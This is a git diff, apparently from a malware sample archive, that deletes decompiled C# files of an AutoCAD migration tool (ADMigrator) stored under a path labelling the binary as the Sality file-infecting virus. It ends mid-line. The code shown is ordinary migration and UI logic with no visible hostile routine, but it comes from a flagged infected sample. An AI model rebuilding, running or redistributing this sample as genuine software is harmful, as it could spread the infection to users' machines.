/8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////////wH+A/4B/gH+Af4A/gA+AH4APgA8AD4AGAA+AAAAPwAAAD+AAAA/wAAAf+AAB//wAA//+AAf//gAPg/wABwH4AAMAgAABAAAAAAAAAAAAAAIAAAAHAAEAD4APAB/ADwAQAA/gEAAf4BAAP+A4AH////////////////8oAAAAEAAAACAAAAABACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wBIPzn/SD85/3aAtRD///8A////AP///wD///8A////AFtRSP9bUUj/W1FIsv///wD///8A////AP///wBIPzn/qK/R/3aAtf9IPzn/////AP///wD///8A////AFtRSP/+/v7//v7+/1tRSP////8A////AP///wD///8ASD85/3aAtf+or9H/doC1/0g/Of////8A////AP///wBbUUj/+/r5/1tRSP////8AW1FI/1tRSLL///8A////AP///wBIPzn/doC1/6iv0f92gLX/SD85/////wD///8AW1FI//f19P+Ee3P/W1FI//f19P9bUUj/////AP///wD///8A////AEg/Of92gLX/qK/R/3aAtf/Rz83/W1FI//Px8P/z8fD/////////////////W1FI/////wD///8A////AP///wD///8ASD85/3aAtf/d3+z/W1FI//Dt6/+vo5r//////1tRSP9bUUj/W1FI/////wD///8A////AP///wD///8A////AP///wDRz83/W1FI/+zp5v+vo5r//////1tRSP////8A////AP///wD///8A////AP///wD///8A////AP///wD///8AW1FI/+nk4v+vo5r//////1tRSP92gLUQ////AP///wD///8ASD85MEg/ORD///8A////AFtRSP9bUUj/W1FI/+Xg3f+vo5r//////1tRSP/d3+z/SD85/3aAtRD///8ASD85MEg/Of9IPznwSD85MFtRSP/i3Nj/4tzY/+Lc2P/i3Nj//////1tRSP92gLUQSD85/3aAtf9IPzn/VlNfLkg/OUBIPzn/SD85/0g/OfBbUUj//////1tRSP+Ee3P/3tjU/1tRSP////8A////AP///wBIPzn/SD85/0g/Of9IPzn/SD85/0g/OZBIPzlgW1FIsltRSP////8AW1FI/9rTz/9bUUj/////AP///wD///8AdoC1EEg/Of9IPzn/2szA/0g/OaD///8A////AP///wD///8AW1FI////////////W1FI/01CQA9NQkAlSUA7UElAO3VJPzr/2szA/0g/OfBIPzkw////AP///wD///8A////AFtRSLJbUUj/W1FI/////wBMQj9NTEE+5kxBPv9LQT7/S0E9/0g/OcBIPzkw////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP//AACPjwAADw8AAAcTAACDAwAAwAMAAOAHAADwPwAA8DkAAIAQAAAAAAAAA4AAACODAADAAwAAxAcAAP//AAAL - - - Import Custom Settings - - - $this - - - lblLog - - - System.Windows.Forms.Label, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - True - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAF0BAACSAAAACw== - - - True - - - lblSuccess - - - System.Windows.Forms.Label, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - True - - - System.Windows.Forms.CheckBox, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - chkBxViewLog - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAACMAAAAbwAAAAs= - - - System.Windows.Forms.Button, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - btnOK - - - Display log file after closing this dialog. - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAM4AAAARAAAACw== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAABABAAANAAAACw== - - - Your migration package has been successfully imported. - - - $this - - - 3 - - - 2 - - - $this - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BbmNob3JTdHlsZXMBAAAAB3ZhbHVlX18ACAIAAAACAAAACw== - - - 1 - - - For more information please review the log file. - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAOAAAAANAAAACw== - - - ImportDialog - - - System.Windows.Forms.Form, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - 1 - - - 0 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAJAAAAUgAAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0ZW0uV2luZG93cy5Gb3Jtcy5Gb3JtU3RhcnRQb3NpdGlvbgEAAAAHdmFsdWVfXwAIAgAAAAEAAAAL - - - 3 - - - $this - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAGAAAAKgAAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5TaXplRgIAAAAFd2lkdGgGaGVpZ2h0AAALCwIAAAAAAMBAAABQQQs= - - - True - - - OK - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAEsAAAAXAAAACw== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAGAAAABgAAAAs= - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/LocalResources.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/LocalResources.cs deleted file mode 100644 index 72b9b022..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/LocalResources.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Autodesk.AutoCAD.ADMigrator.LocalResources -// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe - -using System.Reflection; -using System.Resources; - -namespace Autodesk.AutoCAD.ADMigrator -{ - internal class LocalResources - { - private static ResourceManager rm_; - - public static string GetString(string name) - { - if (LocalResources.rm_ == null) - { - Assembly.GetExecutingAssembly(); - LocalResources.rm_ = new ResourceManager(typeof (ADMigratorResources)); - } - return LocalResources.rm_.GetString(name); - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/MNUFileMigrator.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/MNUFileMigrator.cs deleted file mode 100644 index 7bb50d58..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/MNUFileMigrator.cs +++ /dev/null @@ -1,137 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Autodesk.AutoCAD.ADMigrator.MNUFileMigrator -// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe - -using Autodesk.AutoCAD.Customization; -using Autodesk.AutoCAD.CustomMigrator; -using System; -using System.Globalization; -using System.IO; - -namespace Autodesk.AutoCAD.ADMigrator -{ - public class MNUFileMigrator - { - public static ILogXML _logger; - private string _originalSourceMNUPath; - private string _targetCUIPath; - private string _sourceMNUPath; - private bool _loadTarget; - private CustomizationSection _convertedCUI; - - public MNUFileMigrator(string source, ILogXML mainFormLogger) - { - string path = Path.GetDirectoryName(source) + "\\" + Path.GetFileNameWithoutExtension(source) + CustomizationSection.EXTENSION_SOURCE; - MNUFileMigrator._logger = mainFormLogger; - if (!File.Exists(path)) - path = Path.ChangeExtension(path, CustomizationSection.EXTENSION_TEMPLATE); - if (!File.Exists(path)) - return; - this._originalSourceMNUPath = path; - } - - public bool LoadTarget => this._loadTarget; - - public string OriginalSource => this._originalSourceMNUPath; - - public CustomizationSection ConvertedCUI => this._convertedCUI; - - public string TargetCUIPath => this._targetCUIPath; - - public bool ConvertToCUIx(ProfileMigrator pm, string targetRootKey, bool mainMNS) - { - if (this._originalSourceMNUPath == null || this._originalSourceMNUPath.Length < 1) - return false; - string path = Migrator.GetRoamableRootFolder(targetRootKey) + "Previous Version Custom Files\\"; - string str1 = path + Path.GetFileName(this._originalSourceMNUPath); - try - { - if (!Directory.Exists(path)) - Directory.CreateDirectory(path); - File.Copy(this._originalSourceMNUPath, str1, true); - if ((File.GetAttributes(str1) & FileAttributes.ReadOnly) == FileAttributes.ReadOnly) - File.SetAttributes(str1, File.GetAttributes(str1) ^ FileAttributes.ReadOnly); - this._sourceMNUPath = str1; - } - catch (Exception ex) - { - string sLine = string.Format(LocalResources.GetString("ERROR_FILE_ACCESS_DENIED"), (object) str1); - MainForm.Log2File(sLine); - MNUFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, sLine); - return false; - } - string str2 = pm.SourceEncode(this._originalSourceMNUPath); - string str3 = pm.TargetExpand(str2); - if (mainMNS) - this._targetCUIPath = Path.GetDirectoryName(str3) + (object) Path.DirectorySeparatorChar + Path.GetFileNameWithoutExtension(str3) + LocalResources.GetString("MIGRATED_FILE_SUFFIX") + CustomizationSection.EXTENSION_OPC; - else - this._targetCUIPath = Path.ChangeExtension(str3, CustomizationSection.EXTENSION_OPC); - if (string.Compare(this._originalSourceMNUPath, str3, true, CultureInfo.InvariantCulture) != 0) - { - try - { - CustomizationSection customizationSection = new CustomizationSection(this._sourceMNUPath, true, false); - if (!Directory.Exists(Path.GetDirectoryName(this._targetCUIPath))) - Directory.CreateDirectory(Path.GetDirectoryName(this._targetCUIPath)); - if (File.Exists(this._targetCUIPath)) - { - string str4 = string.Format(LocalResources.GetString("LOG_FILE_ALREADY_EXISTS"), (object) this._targetCUIPath); - MNUFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 3, str4); - this._convertedCUI = customizationSection; - this._loadTarget = true; - } - else - { - customizationSection.SaveAs(this._targetCUIPath); - this._convertedCUI = new CustomizationSection(this._targetCUIPath, true, false); - this._loadTarget = true; - } - } - catch (FileNotFoundException ex) - { - string sLine = string.Format(LocalResources.GetString("ERROR_CUI_FILE_NOT_FOUND"), (object) this._targetCUIPath); - MainForm.Log2File(sLine); - MNUFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, sLine); - return false; - } - catch (FileSaveException ex) - { - MainForm.Log2File(((Exception) ex).Message); - MNUFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, ((Exception) ex).Message); - return false; - } - catch (Exception ex) - { - MainForm.Log2File(ex.Message); - MNUFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, ex.Message); - return false; - } - } - else - { - try - { - this._convertedCUI = new CustomizationSection(this._originalSourceMNUPath, true, false); - this._targetCUIPath = this._convertedCUI.CUIFileName; - this._loadTarget = true; - } - catch (FileNotFoundException ex) - { - string sLine = string.Format(LocalResources.GetString("ERROR_CUI_FILE_NOT_FOUND"), (object) this._originalSourceMNUPath); - MainForm.Log2File(sLine); - MNUFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, sLine); - return false; - } - catch (FileSaveException ex) - { - MainForm.Log2File(((Exception) ex).Message); - MNUFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, ((Exception) ex).Message); - return false; - } - } - return true; - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/MainForm.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/MainForm.cs deleted file mode 100644 index 6fa64b81..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/MainForm.cs +++ /dev/null @@ -1,1481 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Autodesk.AutoCAD.ADMigrator.MainForm -// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe - -using Autodesk.AutoCAD.AcZipInterface; -using Autodesk.AutoCAD.ADMigrator.Properties; -using Autodesk.AutoCAD.Customization; -using Autodesk.AutoCAD.CustomMigrator; -using Autodesk.AutoCAD.MNUParser; -using Autodesk.AutoCAD.MyAutoCAD; -using Microsoft.Win32; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Collections.Specialized; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.IO; -using System.Reflection; -using System.Text; -using System.Threading; -using System.Windows; -using System.Windows.Forms; -using System.Xml; - -namespace Autodesk.AutoCAD.ADMigrator -{ - public class MainForm : Form, ILogXML - { - private const string VERTICAL_ADMIGRATOR_DLL = "VerticalAdMigrator.dll"; - private const string MIGRATION_PROFILES_FILE = "AdMigrator.xml"; - private const string MIGRATION_DATA_FILE = "MigrationDataFile.xml"; - private bool bRun; - private Button OkBtn; - private Button CancelBtn; - private Button HelpBtn; - private Label HeaderText; - private Label ComboText; - private Label FooterText; - private ComboBox InstalledVersionsCombo; - private IContainer components; - private UTF8Encoding UTF8 = new UTF8Encoding(); - private static string LogFileName = (string) null; - private static string LogFileNameXml = (string) null; - private static XmlTextWriter MainWriter = (XmlTextWriter) null; - private bool m_SkipACADCheck; - internal static bool m_isVertMigration = false; - private string m_VertDLLPath; - public static string MigrationFolder = (string) null; - public static ArrayList CUIFileMapArray; - internal Migrator _Migrator; - private static string m_CurrentSourceProfilePath = (string) null; - public static bool isTarget = false; - private static string m_CurrentTargetProfilePath = (string) null; - private bool m_isImport; - private bool m_isExport; - private bool m_includeNetworkFiles = true; - public string ProductRegistryRootKey; - private ADMigratorResources m_LocalResources = new ADMigratorResources(); - private Label ItemList; - private ProductInfo m_prodInfo; - private Panel FilesCheckBoxPanel; - private CheckBox UserProfilesCheck; - private CheckBox CUIFilesCheck; - private CheckBox MNUMNSFilesCheck; - private CheckBox UserIconFilesCheck; - private CheckBox UserLineFilesCheck; - private CheckBox UserHatchFilesCheck; - private CheckBox AcadHatchFilesCheck; - private CheckBox AcadLineFilesCheck; - private CheckBox AcadPgpFilesCheck; - internal static bool isACAD = false; - internal static CustomizationHostServices customizationHostServices = new CustomizationHostServices(); - internal static MainForm _theForm = (MainForm) null; - - public static string CurrentSourceProfilePath => MainForm.m_CurrentSourceProfilePath; - - public static string CurrentTargetProfilePath => MainForm.m_CurrentTargetProfilePath; - - public bool IsImportExport => this.m_isExport || this.m_isImport; - - public MainForm() - { - this.InitializeComponent(); - this._Migrator = new Migrator((ILogXML) this); - CUIFileMigrator._logger = (ILogXML) this; - MNUFileMigrator._logger = (ILogXML) this; - MainForm._theForm = this; - } - - public ProductInfo ProdInfo - { - get => this.m_prodInfo; - set => this.m_prodInfo = value; - } - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - private void InitializeComponent() - { - ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (MainForm)); - this.HeaderText = new Label(); - this.ComboText = new Label(); - this.InstalledVersionsCombo = new ComboBox(); - this.FooterText = new Label(); - this.OkBtn = new Button(); - this.CancelBtn = new Button(); - this.HelpBtn = new Button(); - this.ItemList = new Label(); - this.FilesCheckBoxPanel = new Panel(); - this.UserProfilesCheck = new CheckBox(); - this.CUIFilesCheck = new CheckBox(); - this.MNUMNSFilesCheck = new CheckBox(); - this.UserIconFilesCheck = new CheckBox(); - this.AcadLineFilesCheck = new CheckBox(); - this.UserLineFilesCheck = new CheckBox(); - this.UserHatchFilesCheck = new CheckBox(); - this.AcadHatchFilesCheck = new CheckBox(); - this.AcadPgpFilesCheck = new CheckBox(); - this.FilesCheckBoxPanel.SuspendLayout(); - this.SuspendLayout(); - componentResourceManager.ApplyResources((object) this.HeaderText, "HeaderText"); - this.HeaderText.Name = "HeaderText"; - this.HeaderText.UseMnemonic = false; - componentResourceManager.ApplyResources((object) this.ComboText, "ComboText"); - this.ComboText.Name = "ComboText"; - componentResourceManager.ApplyResources((object) this.InstalledVersionsCombo, "InstalledVersionsCombo"); - this.InstalledVersionsCombo.DropDownStyle = ComboBoxStyle.DropDownList; - this.InstalledVersionsCombo.Name = "InstalledVersionsCombo"; - this.InstalledVersionsCombo.SelectedIndexChanged += new EventHandler(this.InstalledVersionsCombo_SelectedIndexChanged); - componentResourceManager.ApplyResources((object) this.FooterText, "FooterText"); - this.FooterText.Name = "FooterText"; - this.FooterText.UseMnemonic = false; - componentResourceManager.ApplyResources((object) this.OkBtn, "OkBtn"); - this.OkBtn.Name = "OkBtn"; - this.OkBtn.Click += new EventHandler(this.OkBtn_Click); - componentResourceManager.ApplyResources((object) this.CancelBtn, "CancelBtn"); - this.CancelBtn.DialogResult = DialogResult.Cancel; - this.CancelBtn.Name = "CancelBtn"; - this.CancelBtn.Click += new EventHandler(this.CancelBtn_Click); - componentResourceManager.ApplyResources((object) this.HelpBtn, "HelpBtn"); - this.HelpBtn.Name = "HelpBtn"; - this.HelpBtn.Click += new EventHandler(this.HelpBtn_Click); - componentResourceManager.ApplyResources((object) this.ItemList, "ItemList"); - this.ItemList.Name = "ItemList"; - componentResourceManager.ApplyResources((object) this.FilesCheckBoxPanel, "FilesCheckBoxPanel"); - this.FilesCheckBoxPanel.BackColor = System.Drawing.SystemColors.ControlLightLight; - this.FilesCheckBoxPanel.BorderStyle = BorderStyle.Fixed3D; - this.FilesCheckBoxPanel.Controls.Add((Control) this.UserProfilesCheck); - this.FilesCheckBoxPanel.Controls.Add((Control) this.CUIFilesCheck); - this.FilesCheckBoxPanel.Controls.Add((Control) this.MNUMNSFilesCheck); - this.FilesCheckBoxPanel.Controls.Add((Control) this.UserIconFilesCheck); - this.FilesCheckBoxPanel.Controls.Add((Control) this.AcadLineFilesCheck); - this.FilesCheckBoxPanel.Controls.Add((Control) this.UserLineFilesCheck); - this.FilesCheckBoxPanel.Controls.Add((Control) this.UserHatchFilesCheck); - this.FilesCheckBoxPanel.Controls.Add((Control) this.AcadHatchFilesCheck); - this.FilesCheckBoxPanel.Controls.Add((Control) this.AcadPgpFilesCheck); - this.FilesCheckBoxPanel.Name = "FilesCheckBoxPanel"; - componentResourceManager.ApplyResources((object) this.UserProfilesCheck, "UserProfilesCheck"); - this.UserProfilesCheck.Name = "UserProfilesCheck"; - this.UserProfilesCheck.CheckedChanged += new EventHandler(this.UserProfilesCheck_CheckedChanged); - componentResourceManager.ApplyResources((object) this.CUIFilesCheck, "CUIFilesCheck"); - this.CUIFilesCheck.Name = "CUIFilesCheck"; - componentResourceManager.ApplyResources((object) this.MNUMNSFilesCheck, "MNUMNSFilesCheck"); - this.MNUMNSFilesCheck.Name = "MNUMNSFilesCheck"; - componentResourceManager.ApplyResources((object) this.UserIconFilesCheck, "UserIconFilesCheck"); - this.UserIconFilesCheck.Name = "UserIconFilesCheck"; - componentResourceManager.ApplyResources((object) this.AcadLineFilesCheck, "AcadLineFilesCheck"); - this.AcadLineFilesCheck.Name = "AcadLineFilesCheck"; - componentResourceManager.ApplyResources((object) this.UserLineFilesCheck, "UserLineFilesCheck"); - this.UserLineFilesCheck.Name = "UserLineFilesCheck"; - componentResourceManager.ApplyResources((object) this.UserHatchFilesCheck, "UserHatchFilesCheck"); - this.UserHatchFilesCheck.Name = "UserHatchFilesCheck"; - componentResourceManager.ApplyResources((object) this.AcadHatchFilesCheck, "AcadHatchFilesCheck"); - this.AcadHatchFilesCheck.Name = "AcadHatchFilesCheck"; - componentResourceManager.ApplyResources((object) this.AcadPgpFilesCheck, "AcadPgpFilesCheck"); - this.AcadPgpFilesCheck.Name = "AcadPgpFilesCheck"; - this.AcceptButton = (IButtonControl) this.OkBtn; - componentResourceManager.ApplyResources((object) this, "$this"); - this.CancelButton = (IButtonControl) this.CancelBtn; - this.Controls.Add((Control) this.FilesCheckBoxPanel); - this.Controls.Add((Control) this.ItemList); - this.Controls.Add((Control) this.HelpBtn); - this.Controls.Add((Control) this.CancelBtn); - this.Controls.Add((Control) this.OkBtn); - this.Controls.Add((Control) this.FooterText); - this.Controls.Add((Control) this.InstalledVersionsCombo); - this.Controls.Add((Control) this.ComboText); - this.Controls.Add((Control) this.HeaderText); - this.FormBorderStyle = FormBorderStyle.FixedDialog; - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (MainForm); - this.SizeGripStyle = SizeGripStyle.Hide; - this.Closed += new EventHandler(this.MainForm_Closed); - this.Load += new EventHandler(this.MainForm_Load); - this.FilesCheckBoxPanel.ResumeLayout(false); - this.ResumeLayout(false); - } - - [STAThread] - private static int Main(string[] args) - { - if (args.Length > 0) - { - for (int index = 0; index < args.Length; ++index) - { - if (args[index].ToLower().Equals("/myautocad")) - return MainForm.IsMyAutoCADInstalled() ? MainForm.CallMyAutoCAD() : 0; - } - } - return MainForm.RunMigrator(args); - } - - private static int RunMigrator(string[] args) - { - System.Windows.Forms.Application.EnableVisualStyles(); - Mutex mutex = (Mutex) null; - ProductInfo productInfo = (ProductInfo) null; - CustomizationSection.HostServices = (IHostServices) MainForm.customizationHostServices; - try - { - mutex = new Mutex(true, "Local\\" + Assembly.GetEntryAssembly().GetName().Name); - } - catch (Exception ex) - { - } - if (mutex != null && !mutex.WaitOne(10, true)) - return 1; - string str = (string) null; - try - { - str = Migrator.GetVerifiedRootKeyFromIni(); - productInfo = new ProductInfo(); - Migrator.getProductInfoFromRegistryString(str, productInfo); - if (productInfo.m_languageTag.Length > 3) - throw new INIException(3); - Thread.CurrentThread.CurrentUICulture = new CultureInfo(int.Parse(productInfo.m_languageTag, NumberStyles.HexNumber, (IFormatProvider) CultureInfo.InvariantCulture), true); - } - catch (INIException ex) - { - bool flag = true; - MainForm mainForm = new MainForm(); - switch (ex.nProblem) - { - case 1: - int num1 = (int) System.Windows.Forms.MessageBox.Show(mainForm.m_LocalResources.GetString("ERROR_RK_NF"), mainForm.m_LocalResources.GetString("UI_TITLE"), MessageBoxButtons.OK, MessageBoxIcon.Hand); - break; - case 2: - int num2 = (int) System.Windows.Forms.MessageBox.Show(mainForm.m_LocalResources.GetString("ERROR_INI_INVALID"), mainForm.m_LocalResources.GetString("UI_TITLE"), MessageBoxButtons.OK, MessageBoxIcon.Hand); - break; - case 3: - flag = false; - if (productInfo.m_languageTag != "24242424") - { - int num3 = (int) System.Windows.Forms.MessageBox.Show(string.Format(mainForm.m_LocalResources.GetString("ERROR_RK_INVALID"), (object) str), mainForm.m_LocalResources.GetString("UI_TITLE"), MessageBoxButtons.OK, MessageBoxIcon.Hand); - break; - } - break; - } - if (flag) - return 1; - } - MainForm mainForm1 = new MainForm(); - mainForm1.ProductRegistryRootKey = str; - MainForm.customizationHostServices.RegProdRootKey = str; - mainForm1.ProdInfo = productInfo; - if (args.Length > 0) - { - for (int index = 0; index < args.Length; ++index) - { - if (args[index].ToLower().Equals("/a")) - mainForm1.m_SkipACADCheck = true; - if (args[index].ToLower().Equals("/i")) - mainForm1.m_isImport = true; - if (args[index].ToLower().Equals("/e")) - mainForm1.m_isExport = true; - } - } - if (!mainForm1.m_SkipACADCheck && Process.GetProcessesByName(productInfo.m_productId).Length > 0) - { - if (mainForm1.m_isImport || mainForm1.m_isExport) - { - int num4 = (int) System.Windows.Forms.MessageBox.Show(string.Format(mainForm1.m_LocalResources.GetString("NOTICE_ISRUNNING_IMPORTEXPORT"), (object) mainForm1.ProdInfo.m_productName, (object) mainForm1.ProdInfo.m_productName), mainForm1.ProdInfo.m_productName, MessageBoxButtons.OK, MessageBoxIcon.Hand); - } - else - { - int num5 = (int) System.Windows.Forms.MessageBox.Show(string.Format(mainForm1.m_LocalResources.GetString("NOTICE_ISRUNNING"), (object) mainForm1.ProdInfo.m_productName), mainForm1.m_LocalResources.GetString("UI_TITLE"), MessageBoxButtons.OK, MessageBoxIcon.Hand); - } - return 1; - } - if (Registry.CurrentUser.OpenSubKey(Migrator.StripWOWFromCURegKey(mainForm1.ProductRegistryRootKey)) == null) - { - if (mainForm1.m_isImport) - mainForm1.LaunchProductFirst(Migrator.GetAppInstallDir(mainForm1.ProductRegistryRootKey), false); - else if (mainForm1.m_isExport) - { - mainForm1.LaunchProductFirst(Migrator.GetAppInstallDir(mainForm1.ProductRegistryRootKey), true); - } - else - { - int num = (int) System.Windows.Forms.MessageBox.Show(string.Format(mainForm1.m_LocalResources.GetString("NOTICE_PRODUCT_MUST_BE_RUN"), (object) mainForm1.ProdInfo.m_productName), mainForm1.m_LocalResources.GetString("UI_TITLE"), MessageBoxButtons.OK, MessageBoxIcon.Hand); - } - return 1; - } - if (!mainForm1.m_isExport && !mainForm1.m_isImport && Migrator.HasMigrated(mainForm1.ProductRegistryRootKey) && MigratorMessageBox.Show(string.Format(mainForm1.m_LocalResources.GetString("NOTICE_ALREADYRUN"), (object) productInfo.m_productName), mainForm1.m_LocalResources.GetString("NOTICE_WARNING"), mainForm1.m_LocalResources.GetString("UI_TITLE")) != DialogResult.OK) - return 0; - Parser.Initialize(); - try - { - mainForm1.m_VertDLLPath = System.Windows.Forms.Application.ExecutablePath; - mainForm1.m_VertDLLPath = 